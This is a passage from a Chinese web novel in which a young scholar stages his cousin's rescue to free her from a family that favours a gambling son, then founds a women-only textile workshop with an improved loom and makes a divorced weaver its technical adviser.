赵来富昨日跟村里的收粮队去了周头收大豆,今天上午才回来,却没想到,他只是收了一趟大豆回来,家里就出了这么大的事情,“孩子已经去了,老三,节哀顺便,只是,这孩子怎么想不开跑上山去了呢!哎!” “是我的错,我不该喝酒,不该打她,都是我得错,我不配做爹!” 赵大强也骂,“你是不配当爹,也不配当儿子!早干什么去了,现在这样做给谁看?硬生生叫我们都白发人送黑发人,脸都丢尽了!要我说,小云就是叫你们养娇了,不就打了一巴掌,谁家孩子不挨打,就她受不住了?气性这样大!” 赵来贵双眼充血,可没叫他说什么,吴菊香先爆发了。 “养娇了?到底是把谁养娇了?这么多年来,爹娘你们总说让有志将来给我们养老,要我们供有志读书,来贵卖货的钱一大半交了公中,剩下一小半还要再扒拉一半给有志买书,我们自己的闺女给一口吃的养大就行,什么活都要做,桌上只能得半碗豆饭,鸡蛋永远要留给她堂哥,明明她爹就是卖货郎,却连一朵头花都没有!爹你管这叫娇养?” 吴菊香猛地擦了一把眼泪,看着屋里的一家人,却笑了。 “是,我的小云死了,在你们眼里就是给你们丢人了,可是到底是谁在丢人?大伯,你还不知道吧,来贵为什么打小云,你什么都不知道!” “菊香——”赵来贵刚出口,吴菊香直接推开他。 “够了赵来贵,你还看不明白吗?你难道指望一个赌钱的日后给我们养老吗?他不掏空家底要他爹娘养就不错了!” 赵来富大惊,“谁赌钱?” 吴菊花讽刺一笑,“还能有谁,自然是我们赵家全家的宝贝疙瘩了。” 赵来富看向弟弟赵来贵,“来贵,小云说什么了?你们知道啥了?” “什么赌钱不赌钱的,有志是跟同窗猜字花,读书人的事!老三家的,别瞎说!” “爹,你也知道?”赵来富环视一周,见媳妇老娘都目光闪躲,顿时心中一凉,“有志这会儿在哪里?家里出了这么大的事,早上还让他去私塾了?” 他媳妇顾金花不高兴了,“他一孩子留下来能做什么,再怎么说,也不能耽误功课啊。” 他娘也帮腔,“就是,一大家子都出去找人了还不够?村里也在帮忙,用不上他!” 吴菊香惨笑,“瞧,赵来贵,这就是我们一直想靠的人,你现在还觉得指望得上吗?他妹妹失踪了,他照样得要人好声好气哄着吃完朝食去县里,是去读书还是玩,谁知道呢。” 赵来贵闭了闭眼,随即冲赵大强周氏跪了下来。 “爹娘,有句话说的好,无后为大,儿子操劳了半辈子,也错了半辈子,如今孩子也没了,是我不孝,分家吧。” 赵来贵跟吴菊香相互搀扶着离开了主屋,只听后面屋里赵来富怒气冲冲质问——“宝儿跟大胖都比他小都知道进山找人,青青一个女孩子听到消息都晕过去了,他竟还能心安理得去读书”。 是啊,同族的都知道帮忙找人,赵有志却不当回事,这样的人他们竟然认为他会给他们养老?何其可笑。 第43章 第43章技术顾问 “你们家要分家了,是你爹提出来的,大爷爷同意了。”赵青青跟赵丰年一起过来给赵小云送饭的时候告诉了她这个消息。 赵小云先是顿了顿,接着继续往嘴巴里扒饭。 “富大伯昨日上县城私塾找有志哥没看见他人,后面发现有志哥竟跟人家玩赌钱,气得打断了两根藤条,郎中说得养一个多月才能下床。” “该的!他爷奶就没拦着?” 听到赵小云对赵大强周氏的称呼,赵青青赵丰年对视了一眼,赵青青这才又继续,“怎么没拦呢,可富大伯正在气头上,他是连牛都能拉得住的力气,谁都拦不住,昨夜金花伯娘大闹了一场才消停。” 赵小云吃完,赵丰年才开口。 “如今他们已经悔悟了,一会儿我跟我爹会把你送到山里去,到时候他会在立冢的时候发现鞋子上的血迹不对劲,然后提出再进山找你,你就待在我们事先安排好的地方等着,届时会有人接应你,不用害怕。” “知道了知道了,你都说了百来遍了,总之,等听到人声,我就虚弱地喊上几句,要多狼狈就多狼狈,就说啃野板栗充饥活了下来,对吧宝大人?” 赵青青抿着嘴笑了,“云姐,你就别打趣宝儿了,都是为了你好,那天听到消息,可把我吓坏了,好在后面宝儿跟我解释了,要是你真的出什么事了,我这辈子都要愧疚了。” 赵小云也笑,“听说你都晕过去了?算我没看错你,往后遇上事了,只管找你云姐,再难的事我都给你办成啰!” 三人笑闹着吃完饭,赵来贺果然过来送赵小云上山,接应的人是柳大跟媳妇夏氏,赵来贺跟柳大略说了几句就下山准备前往立衣冠冢的地儿。 在临县,还没成年就夭折的孩子是不能办葬礼的,只自家人弄一个小仪式,加之赵小云被“狼吃了”,连一具尸体都没留下,只能起衣冠冢,当天下午就要准备把她生前的衣物都挑出几件下葬,余下的都要烧给她。 正如赵丰年计划的那样,赵来贺在看到赵来贵手中带血的鞋子后,皱着眉头似有所思。 “贵哥,我能瞧瞧小云侄女这鞋吗?这鞋上的血迹颜色看起来有些奇怪?不大像人的血迹。” 赵来贵还没明白过来这是什么意思,只见吴菊香劈头盖脸夺下赵来贵手上的鞋子,直接给送到了赵来贺面前。 “她贺叔,你看,只管看!不像是人的血迹的话,是不是小云没遭害?小云还活着对不对?”女子的鞋是轻易不能给外人瞧的,可赵来贺是堂叔,又是这样事出有因,没人会觉得有什么,就是别人说闲话,吴菊香也不在乎了。 赵来贺拿起鞋子先是端详了片刻,这才当着众人的面给出了结论,“确实不像是人的血迹,倒是像野鸡的血,我经常进山打野鸡,对这种血很熟悉,应该错不了。” 听完赵来贺的话,赵来贵吴菊香当即双眼迸发出了希望的光芒。 赵来元也忙站了出来,“这么说,说不定小云没有被狼吃了,只是在山里迷了路,大晚上看不见,不小心摔掉了鞋子,至于衣裳布料,许是被树枝挂到了,后面林子里的狼抓野鸡时把血给溅上去了。” 赵丰年向赵来元投去了一个赞赏的目光,都不用他爹进一步分析,就把这个猜测合理定下了,是个人才。 “事不宜迟,得赶紧组织人手进山找人才是,孩子在山上多待一会儿都是危险!” 村里其他人一听,纷纷表示愿意一起去找,赵来贺自然义不容辞,直把赵来贵吴菊香感动得眼泪汪汪,再说不出什么话来。 赵丰年也加入了进山找人的队伍,王三娘本不想赵大胖去,奈何大胖坚持,她管不住人,只得气得一跺脚回家去了。 进山的路上,赵来贵绕开众人凑到赵丰年面前。 “宝儿,你说的没错,以前是我跟小云娘想差了,这次如果小云能没事,我们一定对她好,千倍百倍补偿她!将来我就给她招赘,我们一家人好好的过日子,再也不去想那些有的没得了。” 赵丰年心想,赵小云如果听到这番话肯定会很开心。 “贵二伯,女子未必就不如男子,女子也能做很多事,男子能做的女子也能做,很快你就知道 了。” 赵来贵只点点头,赵丰年知他如今心思不在这里,也没多说。 赵来贺特意绕了几次路才带着大家到了赵小云藏身的地方,等听到微弱的求救声音,吴菊香第一个扑了过去,赵来贵也忙赶上前。 “是小云!真的是小云啊!小云啊!——” 赵小云被“救回”家后,这事总算是告一段落,赵丰年也终于有空准备建纺织厂的事,为此,他打算去一趟陈家湾。 话说自从陈莲得了赵丰年的话回到陈家湾等消息后,虽然日子不太好过,每天起早贪黑要做不少活,整个人却比以前开朗了不少,明眼人都能看得出她变了。 陈莲的两个嫂子看了都直犯嘀咕。 陈莲有两个哥哥,都已经娶妻生子,一家人都住在一块儿。 刚从县城回来那会儿,两个嫂子还对陈莲关怀备至,陈莲也很感动,给外甥外甥女买了不少东西,只是等陈莲在家里待久了,两个嫂子便开始不满了,什么脏活累活都交给她跟两个女儿不说,一有什么不顺心的就要指桑骂槐。 陈莲本想着自己跟女儿到底是寄人篱下,多做点也没什么,只是让她寒心的是两个嫂子跟着外人一起背后说她的不是,而两个兄长却闷不吭声,毫无约束妻子的想法。 陈秀才每日大多时间都在私塾里,先前因为陈莲和离的事让陈秀才的私塾颇受诟病,但陈秀才依然坚持要把她接回家,陈莲心里是感激的,可也知道,她母亲早几年刚去了,父亲往后终究还要跟着两个兄嫂过,她不想陈秀才为了自己的事跟兄嫂冷脸,招兄嫂不待见。 只是她的隐忍退让并没有令两个嫂子收敛,反而让她们变本加厉。 此时,陈莲大嫂周桂花刚走出屋子,见到陈莲便开始阴阳怪气了。 “大妹妹这几日心情不错嘛,我记得是自打上回出去了一趟回来就不一样了,整个人容光焕发的,可是有什么好事发生了?” 陈莲停下手里的活,腼腆一笑,“大嫂说笑了,不过是忽然觉得,人活一世,去日苦多,还是要开心地过才不枉来人世一遭。” 陈家有个做秀才的爹,陈家三兄妹都能识字,老二陈茂取的是陈秀才同窗之女秦氏,也略识几个字,就周桂花,大字不识字一个。 周桂花平日里最讨厌他们咬文嚼字,活衬得全家就她一个粗人似的,同时,她也最不喜欢陈莲一副娇弱模样,说话又慢吞吞,因此,一听她说这话云里雾里的,当即就不高兴了。 “呦,大妹妹说的这啥?文绉绉的我可听不懂,不过别管什么活不活的了,大妹妹这是见了什么人吧,高兴成这样。” 陈莲不明所以,“大嫂这话怎么说的?” “这人都说啊,人逢喜事精神爽嘛,我看大妹妹这几日气色也好,穿得又齐整,怕不是咱们家又要有喜事了?毕竟阿珠阿玉还小,有个爹总比被当作野孩子好。” 这下陈莲听出来了,顿时脸就气红了。 “大嫂,这话可不能乱讲!” 另一头,得知神童小赵秀才要来陈家湾建纺织厂,陈家湾村长跟几个族老当场就激动得跳了起来。 看到对面那个头发花白的老头扔了拐杖从凳子上蹦起来,赵大胖吓得胆颤心惊,下意识伸出了手,生怕他摔断了腿赖到他们头上。 赵丰年眼中闪过一丝笑意。 大胖是他问大伯赵来金讨来的。 眼下村里族里人都在制油厂做事,一味将亲大伯排除在外没有宜处,再者,他相信如今赵家村也没人敢跟他斗着来了。 换句话来说,他如今就是赵家村权利巅峰。 赵来金一听侄子要儿子过去打下手,想都没想就把人打包送过来了,连王三娘都怕晚了他后悔了,迫不及待跑出家门,逢人就说大胖跟着他做事。 不得不说,大胖这个名字算是叫对了,如今虽然不过十四五岁,身形却壮硕,比不得大尺,却也足够唬人。 “小赵秀才,你只管放手干,需要啥,我们都配合!” “对对对,咱们陈家湾别的不说,就苎麻多!就是这东西粗鄙,做成的麻布也糙,怕是叫不上价的。” 赵家村小赵秀才最近谁不稀罕,先是帮赵家村富裕了起来,而后柳家村求上门去,又叫柳家村搭上了路子,更是把柳家村的人送进了衙门跟当官的一起做事,那叫一个威风。 更别提人家从小就是神童,那发明出来的东西,整个临县谁人不知谁人不晓。 谁都希望自己就是下一个柳家村、赵家村,可一来小赵秀才轻易见不着人,二来也是没个章法。 各个村子也只能睁着眼羡慕赵柳两村了。 可谁成想,小赵秀才竟然亲自来了他们陈家湾,还要在他们陈家湾建厂,建厂他们熟啊,虽然名字奇怪了点,也不知道小赵秀才把个作坊叫做那啥“厂”的缘故,但是他们现在已经知道了,那什么厂的都是好东西,是能叫村里人都富裕起来的地儿! 只是这麻布实在是低贱的布料,也就他们农户庄稼人穿一穿,稍微手里有点闲钱的人家,都不会要这个,无他,实在是太粗糙了。 麻绳倒是好东西,结实又耐用,可人小赵秀才说的是纺织厂,那就是织布,麻布。 陈家湾的村长跟长老虽实在是想让赵丰年来,却又担心他不了解情况,届时那纺织厂开不起来还要误会了他们不事先告知可怎么好。 “小赵秀才定然没见过我们陈家湾的麻布吧?不如我让老妻取来给小赵秀才看看?” 赵丰年没有拒绝。 他还不至于没见过麻也自然知道麻布什么样子的,冬天漏风夏天硌肉,透气倒是透气,就是工艺还需要进一步改善。 赵丰年印象中的上好的麻布应该是柔软舒适又透气的,存在很大的市场,毕竟,这时候棉布还没看见,而丝绸也仅仅是少数的有钱人能穿。 “说到需要,我这纺织厂届时招的都是女工,不招男工,前些日子我跟我三伯娘,哦,也就是贵村陈夫子家的陈莲谈了谈,她女工活做得好是有目共睹的,本来陈家就有纺织的家传,她本人还曾去县城的绣纺进修,更重要的是,她识字会术学,实在是纺织厂不可多得的人才,我想聘请她为纺织厂的技术顾问,也可以说是织娘们的老师,届时教授培训女工们织布制衣,培训合格者方可上岗,毕竟这个纺织厂跟别处不一样,织布机都是改良后的,买的麻布跟市面上的麻布也不可同日而语,便也不得不谨慎再谨慎。” 这话的信息量太大,陈家湾村长跟族老还在消化,而大胖惊呆了,他疑惑地看着赵丰年,表情很好读懂。 三伯娘家不是教书吗?还有纺织家传?又什么时候去县城进修的? 赵丰年微笑。 春秋笔法么,不稀奇。 “不知几位叔公是否方便让人去陈夫子家请人过来,我们好今天再商量商量?” 陈家湾的几人虽然惊讶赵丰年对陈秀才家的和离闺女这般推崇,但一听他说还要再商量商量,连忙应下来了。 别说是和离的妇人了,只要是小赵秀才能帮他们陈家湾也富起来,就是和离再嫁两个相公的人他们都照用不误。 陈家湾村长的媳妇小王氏接了去请人的活,略打听了一番,立马就激动了,一路跑到陈秀才家,还没进门就喊开了。 “阿莲——阿莲在家吗?哎呦,这是怎么了?!” 小王氏推开门,只见陈莲两个女儿护在陈莲面前,周桂花正瘫坐在地上破口大骂。 “两个小杂种!没大没小的白眼狼!吃我家的喝我家的还推老娘,娘不 是个好东西,果然教出来的女儿都是没教养的!” “周桂花,你这骂得也太难听了,实在是不像话了!” 陈家其他人听到动静终于走了出来,小王氏这才明白过来,合着刚才一屋子人尽听着周桂花欺负母女三呢! “王嫂子,什么风把您吹来了?”陈家二媳妇秦氏笑着说上前,正要拉小王氏的胳膊,却被她躲过去了。 “我今日可不是来找你们的,”小王氏说罢,这才又笑着走向了陈莲,见她靠近,俩孩子立马再次挡在了陈莲面前,惹得小王氏感慨不已,尤其是对比周桂花被推倒在地儿子女儿没一个出来瞧自个儿娘的,还真是够讽刺的。 “你们是阿珠阿玉吧,真是乖孩子,长得也招人疼,我是来请你们娘去我家做客的!” 陈莲摸了摸阿珠阿玉脑袋作为安抚,这才红着眼睛朝小王氏歉意地笑了笑,“王嫂子,你找我是有什么事吗?” “是有事,大好事!”小王氏说完,特意扫了一边陈家众人,见他们目光都转了过来,这才继续,“妹子,咱们村要建纺织厂了,这事你可知道?” 陈莲心中一动,却又压了下来,只点点头,“这事此前宝儿,也就是我以前那边的侄子,跟我提过,可是宝儿已经跟村长说了?” 小王氏一听更高兴了,“可不是!这会儿小赵秀才正在我家跟我公爹还有几位族老一起商量这事呢,点名要让你去!” “叫陈莲去?她一个下堂妇,她去了能做什么?”周桂花下意识说了一句。 陈莲当即变脸色,“大嫂,我是和离的,不是被休的,还有,你怎么能凭空侮人清白,你说我前些日子出去了一趟见了谁,如今我也可告诉你,我去了赵家村,去讨了个机会!” 小王氏这下还有什么不明白的,八成是周桂花又在家里瞎说呢! “周桂花,我劝你还是嘴巴里放干净些,往后指不定你就要看阿莲妹子眼色做事了,不妨告诉你们,小赵秀才,也就是阿莲以前的侄子,要在我们村开纺织厂,点了名要阿莲去做管事!以后阿莲可不是随便你们能拿捏的!” 陈家众人都不敢置信,陈莲大哥下意识问,“真的是我大妹妹?不是别人?” 小王氏十分看不起这样没有担当的男人,“这还有假?走,阿莲妹子,咱们赶紧去,可别让小赵秀才等久了,阿珠阿玉也一起去,正巧我们家慧娘前些日子刚学女工,女孩子家家的一起做个伴儿!” 看着小王氏带走了陈莲母子,陈家人你看看我我看看你,还没回过神来。 “这,这是真的?大妹妹要做管事了?” “王嫂子都来喊人了,八成是真的,那纺织厂估计也是真的了,这样也好,赵家村正是有了那制油厂才变得富裕起来,确实是好事。” “得了吧,没听王翠说嘛,是大妹妹做管事,我们都把人得罪得死死的,有好事还能轮得到我们家?” 秦氏一句话把兄弟二人的幻想拉回现实。 “呸,她一个女的在外头抛头露面,还想当管事管一帮子男的,我看哪个男的肯去那什么什么厂做事!” 这时候陈家人还不知道,赵丰年新推出的这个纺织厂是一个只招女子的地方,而纺织厂,注定要让陈家湾乃至整个临县的女子都挺直了腰板。 第44章 第44章立女户 赵家村的小赵秀才要在陈家湾办纺织厂。 随着赵丰年前往陈家湾的频率逐日增加,这个消息很快卷席了整个临县。 临县底下其他乡镇的人都在摩拳擦掌,准备一等陈家湾放出话说要盖厂房了,就去问问有没有活要干。 要知道,当初赵家村盖制油厂,赵家村的人忙不过来,找的是镇上的人,一个月下来能赚六百文! 还不等纺织厂正式开工盖房子,运输队就从府城回来了。 赵丰年收到消息前往县城,这回是大胖赶车。 之前从府城院试回来的路上,赵大胖跟赵老头好好学了一手,这些日子赵丰年两边跑,他也赶得越来越好,如今去县城已经是轻车熟路了。 刚到县城,赵丰年就看到了黑了一圈的柳小尺。 “小尺哥!” “丰年!” 看到赵丰年,柳小尺显然很高兴,又跟赵大胖打了招呼。 “这一趟怎么样?大尺哥呢?” “刚去的时候什么都不懂,两眼一抹黑,好在周叔在,又有顾大人的信,府城的张大人对我们很是关照,很快就卖空了,离开的时候还有不少人打听我们什么时候再来呢!大哥在后头跟他们耍大刀,这回跟我们一起去的张叔,会一手好刀法,大哥拜了他当师傅,正是学得起劲的时候。” 小尺一边将两人往后院引,一边解释。 到了后院,果然见柳大尺被一圈人围着起哄,而顾子升喊得格外大声。 一看到顾子升,赵丰年顿时觉得小尺也不算黑了。 顾子升正巧也看见了赵丰年,忙朝他走了过来,嘴里还不忘夸大尺。 “你大表兄天分不错,要是小时候就开始练武,以后肯定能当个大将军!” “现在也不晚。” “练武这一行练的是童子功,我认识一个,我是说,我听说将门的孩子都是打小扎马步练功的。” 赵丰年微笑着看他找补,这才慢悠悠说了一句,“打仗除了武力,也是要看智力的。” 顾子升没继续跟他讨论这个问题。 “咱们初步计划成功了,今天晚上庆功宴,你跟大叔婶子说了晚上不回去了吗?” “说了,明天去陈家湾实验新纺织机,你一起?” 两人平日里通信多,赵丰年建纺织厂的主意顾子升自然知道。 “你都安排好了我能不去?再说了,我当然要去,这回我要定见证你又一次的神举!” 赵丰年哭笑不得。 “你不要不当回事,我从来没见过谁能跟你一样,脑子里转了这么多稀奇古怪的东西,不过,有件事我之前一直没提,也没想道,前两天外面听到一些风言风语,就像跟你说说。” “在信里不好说?” 顾子升无奈,“没跟你开玩笑,就是,你可有想过,制油厂也好,纺织厂也罢,这些可会影响到你仕途?” 见赵丰年不语,顾子升继续,“虽则本朝不像前朝一样限制商户科举,也无明令禁止官员不可经商,可士农工商,沾染了铜臭到底会被诟病,倘若你走科举,跟这些离得太近于你名声怕是不利的。” 大夏朝的开国皇帝就出身商户,积累了一定的积蓄才能在乱世扛起了大旗,是以对商贾后代为官一事并无禁令,只是王朝到底以农为本,士农工商又并非一句空话,但凡士子都恐沾了铜臭,因此爱惜羽毛的不会轻易经商,那商贾后代便是科举为官也要低人一等。 赵丰年此前也考虑过这个问题。 “你说的我也想过,此前我只想有个功名庇佑家人,并没想过踏上朝堂,但是如今既然已经决定了要走这条路,我就不会让自己深陷囹圄,你放心,纺织厂我早就安排好了,制油厂我如今也只是占个股份,有县衙背书,于我无碍。” 顾子升松了口气,“你有成算就好,明日我们把阵仗摆大一点,务必让大家都看到是衙门在支持的。” 这也是赵丰年来的目的之一,“记得多夸我几句‘利国利民’,等这方事了,城里的诗会文会帖子帮我留几张。” “知道了,早就替你留着心了,我还当你忘记了,真不知道你这脑子怎么转得过来。” 赵丰年笑而不语。 这回照样是将改良纺织机的图纸交给舅舅柳大,并让他这天送到陈家湾。 顾子升果然将场面撑得很大,官服官帽一个 不差,左右侍从衙差一个不落。 赵丰年骑在马上,目光穿过举着“回避”仪仗字样的衙差,落到队伍中的青布轿子上,问身边同样骑着一匹马的顾子升,“你骑马还备着轿子?” “路上坐在轿子里太闷了,但是骑着马显得我没官威,我先骑着跟你说会话,等一会儿快到了,我再弃马乘轿,到时候从轿子里走下来,那话本里都这样写的,威风八面说的就是我了。” 赵丰年:“……” “你开心就好。” 十几号人浩浩荡荡地朝陈家湾走去,人还未到陈家湾,一路上消息就传遍了。 “县太爷要去陈家湾看小赵秀才改良的织布机?” 听到消息的人或跟着或继续传播,等到了陈家湾,已经不下十几个村子都知道了,赵家村的小赵秀才又发明改良那什么织布机,县太爷十分重视,特意去陈家湾看那织布机怎么织布。 虽然不少人都在犯嘀咕怎么去的不是赵家村,倒是去陈湾村了,但也不妨碍众人前来凑热闹。 赵丰年事先告诉过陈家湾村长县太爷今天会来,是以陈家湾村村长一大早上就带着全村人站到了村口等候,务必要让县太爷看到他们陈家湾的热情。 这一等就等了一个半时辰,但是众人没一个怨言。 等刚看到了人影,就有人喊了。 “来了来了——” 陈村长立马打起精神,正要迎上去,却在看到后面密密麻麻的人群之时犹豫了。 就在他耽误的时候,赵丰年一行人已经来到了他面前。 “陈叔公?” 陈村长看了眼赵丰年身后那老长的队伍,再看到举着仪仗的衙差跟那顶青布小轿子,连忙回过神来带着全村老小行礼。 “陈家湾陈大杰带着陈家湾男女老少拜见县令大老爷!” 顾子升不紧不慢从轿中走下来,笑着叫众人起来。 “既然大家都在,那就去看看赵秀才的改良纺织机吧。” 陈村长连忙应是,看了眼坠在后头的百姓,又看向了赵丰年。 赵丰年笑了笑,“事关大家未来的生活,大家自然是好奇一些的,这是好事。” 陈村长乍一听还没明白,看着赵丰年的笑忽然就反应过来了,“是了是了!” 可不是好事么,往后都是他们陈湾村纺织厂的客人! 这下陈村长更热情了,甚至叫来了几个村里能说会道的,指令务必要让这些外村财神爷宾至如归。 纺织厂还在建造,因此只在陈家湾的打谷场子上演示。 等众人走到打谷场,只见柳大已经等在这边了,身边还伫立着一个用大红布盖着的大物件,个头都跟他差不多,众人就明白了这估计就是那改良的织布机了,就是这也太大了些。 “舅舅。” 柳大笑着点点头,又朝顾子升拱手。 “顾大人,这就是赵秀才改良的织布机了,还请顾大人亲自掀开红布,也为咱临县的纺织业增光添彩!” 这话说的好听,众人当即就起哄了。 顾子升好笑地瞟了眼赵丰年,走上前去,也没废话,当即就掀开了红布盖。 “哇——” “好家伙,这是纺织机?” “好像有点不像。” 赵丰年察觉到不对,转头一看,眼前这个多了无数不知起啥作用的小零件、跟他图纸相去甚远、又跟纺织机八杆子打不着的木架子,是他的改良纺织机? “纺织机原来长这样?”——来自没见过纺织机的人。 “瞧着改动很大啊。”——来自见过纺织机的人。 “不愧是赵秀才,这样复杂厉害的东西都能想出来!”——来自赵神童无脑吹。 赵丰年:“……” “舅舅?” “免得被人偷学了去。”柳大靠近外甥偷偷解释。 赵丰年当场给柳大比了个大拇指。 然后朝着不明所以的顾子升点了点头。 顾子升一秒清醒:明白,到下一个环节了! “咳咳,”顾子升上前面向众人,见人群安静下来,问:“陈家湾陈莲何在?” 今天去村口迎接县太爷,陈莲也去了,却没跟陈家其他人站在一块儿,此时听到县太爷喊自己的名字,虽知道今天有这个环节,陈莲依旧激动又紧张,当即就被陈村长媳妇小王氏推了上去。 而陈家其他人就是一脸僵硬与不敢置信了。 陈秀才今天特意放了私塾学子一天假,没去村口迎接,直接来的打谷场,刚过来就听到县太爷喊自己女儿的名字,还以为自己听错了。 “民妇在,大人。” “陈氏,听闻你自幼便学女工,手艺了得,还曾赴县城进修纺织女工一艺,那你对可愿替本官跟赵秀才向父老乡亲展示一番这改良织布机?” 陈莲有些不好意思,“只是略懂一二,不值大人如此夸赞。小妇人确实会织布,只是赵秀才的这个纺布机民女头一回用,还需赵秀才替民女解释一二。” “这是自然。” 陈莲走到赵丰年身边,对着他笑得眉眼弯弯,这些东西都是事先安排好的,陈莲也早就听赵丰年讲解过,就是为了今日不出岔子,走完过场,陈莲便在织布机前坐了下来。 麻线都是之前就准备好的,陈莲先熟悉了一番,才慢慢上手,饶是她听赵丰年说了好几回,此时一上手却还是惊住了,无他,实在是太快,也太方便了。 以前她们用的那种织布机要来回穿线,宽一点的布匹甚至要两个人来回帮忙,之前听赵丰年说新的织布机不需要手动穿线她还有些不可思议,如今看来,竟然是真的。 随着熟悉起来,陈莲的动作越来越快,围观的大部分人都不明所以,而其中给一部分擅织布的女子早就惊呆了,下意识就凑上前去想进一步观察。 “这速度实在是太快了!” “为什么没看见穿线?织布机能自己穿线?” “老天爷,有了这个,一天怕不是能织好几匹布还不费力了?!” 见别人不懂,她们又纷纷向众人解释,待解释完,众人才知道这东西有多厉害。 就是顾子升,也惊奇地看向了赵丰年。 “你干嘛用看变态的眼神看我?” “什么叫变态?”顾子升下意识问到,随即又问,“你真的是人吗?” 赵丰年无语,“不是,我是天上的神仙下凡尘。” 顾子升却点点头,一副颇为赞同的模样,“这才能解释得通,不是,”顾子升反应过来,“你知道这东西有多厉害吗?!你就这样当众拿出来展示了?!” 赵丰年微笑,“我知道啊。” 这可是第一次工业革命的开端啊,让纺纱效率直接提高了八倍的好东西。 “古语总云,哀民生之多艰,可民追求的是什么?不过是柴米油盐,衣食住行,既然如此,做官的,不就是要解决老百姓的衣食住行吗?” 顾子升无言,良久,才憋出一句,“你还不是官呢。” 赵丰年笑了笑,“那你可以当我提前实习一番,达则兼济天下,我既有此能力,多为家乡百姓做点事还能积累名声,何乐而不为?” 顾子升:“你赢了。” 陈莲织完一段布,从织布机取下来交给陈村长,陈村长捧着布又递到了顾子升手上,顾子升点点头,站了出来。 “短短时间就能完成一丈,此改良织布机果然是好东西!赵秀才大才大义,体恤百姓织布不易,特意改良了织布机,又不求回报向本官献上织布机,帮助陈家湾建纺织厂,往后便能提高织布效率,帮助陈家湾乃至让整个临县百姓都有便宜的布匹买,实在是利国利民!” 很多人早听说要建什么纺织厂的,还不明所以,怎么小赵秀才是赵家村的不在赵家村建反而跑到了陈家湾,如今一听才知道人家那是帮陈家湾呢!顿时一个个羡慕得眼睛都红了,纷纷夸赞赵丰年有大义。 这时候,陈家湾村长也站了处理啊,适时提出了陈家湾将在小赵 秀才的帮助以及衙门的大力支持下建立纺织厂,从明天开始将招聘合适的人选来纺织厂做事,第一批招二十位织娘,只要女子,由陈湾村陈莲花担任技术顾问兼大师傅,选中者通过为期十日的培训,合格者即可上岗,织娘每日白天上工,傍晚归家,一个月五钱银子。 这消息一出,众人又是一阵沸腾。 家里有女眷会织布的当场就心动了,纷纷想要来试一试。 而陈莲家里人更是被众人羡慕的对象。 “哎呀,你们家可有福气了,阿莲妹子这么能干,如今得了大老爷的青眼,往后就是纺织厂的大师傅,管着二十号人呢,真真是厉害了!” “可不是,陈莲刚和离回村那会儿大家还说人家往后不容易呢,如今可是出人头地了。” “你们是阿莲的嫂子,又懂织布,肯定是头一个被选中的错不了!” 陈莲两个嫂子脸色青了又白,到底没说什么。 陈秀才接受着众人的道喜,笑容连脸上的胡子都藏不住。 纺织厂还没建好,织布机暂时没办法放置,陈村长原本计划是放在自己家里,可如今见了这东西这么厉害,他家平日里又多的是人来人往,陈莲领着一众女人培训学习啥的,到底是不太方便,还容易走漏了织布机的秘密,正跟赵丰年商量这东西放置问题,却见陈秀才站了出来,说可以放到他那私塾后院去。 “我那院子前院是私塾,后院平日里没人去,我只把书房挪到前院就是了,后头空出来,给她们做教学的地儿不成问题,也没旁人打搅。” 陈村长觉得是个好办法。 赵丰年头一回认真地面对陈秀才,他原本以为陈秀才一定是那种迂腐的酸秀才,直到之前他义无反顾从赵家村将女儿接回了家去,又支持陈莲去县城找活干,才对他略有改观,只是前面陈莲在陈家过得并不好,他下意识觉得陈秀才这个父亲有一定的责任,如今看来,一是陈莲没让他知道兄嫂为人,二来,他也有自己的无奈。 “陈夫子大义。” 陈秀才自然认识远近闻名的神童,且不说赵丰年小小年纪就中了秀才,赵丰年之前的事迹他也早就了然于胸,心中也曾暗恨赵丰年没入自家私塾,如今见他文质彬彬,又对女儿帮助良多,顿时更加欣赏与感激。 “赵秀才多礼了。” 安排好这边事宜,顾子升就准备回县衙了,赵丰年跟他同行了一段路回赵家村。 而陈家湾这边,还只是个开始。 晚上,陈秀才高兴地喊大儿媳拿酒,本想要好好庆祝一番,却见儿子媳妇都沉默不语。 “你们大妹妹今日大喜,也是我们全家的大喜,我们合该一起敬你们大妹妹一杯,祝贺她成为纺织厂的大师傅!” 陈秀才话音刚落,却只见儿子儿媳脸上表情更难看了,不由得皱了眉头。 “你们这是怎么了?怎么都不说话?” 周桂花心直口快,“这确实是大妹妹的大喜事,只是是不是咱们家的大喜事,可就说不准了。” “老大媳妇,你这此话何意?” 陈秀才大儿子刚想要拉住媳妇,却被周桂花甩开了,“爹,你说大妹妹一个女人,又是跟丈夫和离的,不好好待在家里,反而出去抛头露面,当那什么大师傅顾问的,像话吗?” 周桂花前两头才跟陈莲吵过,并不认为陈莲会跟外人说的那样头一时间就把自家人招进去,索性破罐子破摔了。 陈秀才当即变了脸。 “爹,您是私塾的夫子,读圣贤书的,别是为了大妹妹这事又让人说三道四的,回头您那私塾还怎么做下去?” 陈莲默默放下筷子,她知道两个嫂子都不待见自己,只是没想到她们如今都要坚持毁了她的路。 “圣贤也不会看着自己的儿女有出息却拦住他们,老大媳妇,你大字不识一个,说不出这样的话来,料想是你们其他人也都如此想的?罢了罢了,养不教父之过,到底是我的错。”陈秀才说完又转向陈莲,“为父教了一辈子书,却没教好两个儿子,单知道你归家后过得并不如意,却不知平素他们这般欺辱你,同为读书人,为父比不上赵秀才,你想做什么便去做,为父管不了旁人,教训儿子还是天经地义的。” 陈莲眼泪夺眶而出,而陈家的两个儿子煞白着一张脸跪在了地上。 “爹,您没对不住女儿的。” 陈莲说完,带着两个女儿离开堂屋,不耽误陈秀才训子。 第二天一早,陈家湾的不少人都来到了陈家,只说要面试,要应聘织娘。 这面试还有应聘还是昨日听小赵秀才那儿听来的,大家接受得很快,今天就活学活用了,陈莲哪里见过这种阵仗,最后还是陈村长出面维持秩序。 也不是会织布就能被选上的,还要看人品和心性,一天下来,竟然只有三个人符合要求,陈莲头都大了,第二天一早,立马就去了赵家村。 “伯娘,不,我如今再喊伯娘似是有些不太恰当,伯娘马上就是纺织厂大师傅了,不如我称一句陈师傅?” 陈莲顿时轻松了许多,捂着嘴笑道,“这也太生分了些,只要你愿意,你可以一直叫我伯娘,如今我早就看开了。” 赵丰年也笑了,“伯娘这样想就对了,既然这样,外人面前,我喊陈师傅,对内,就叫伯娘。” 陈莲自无不可。 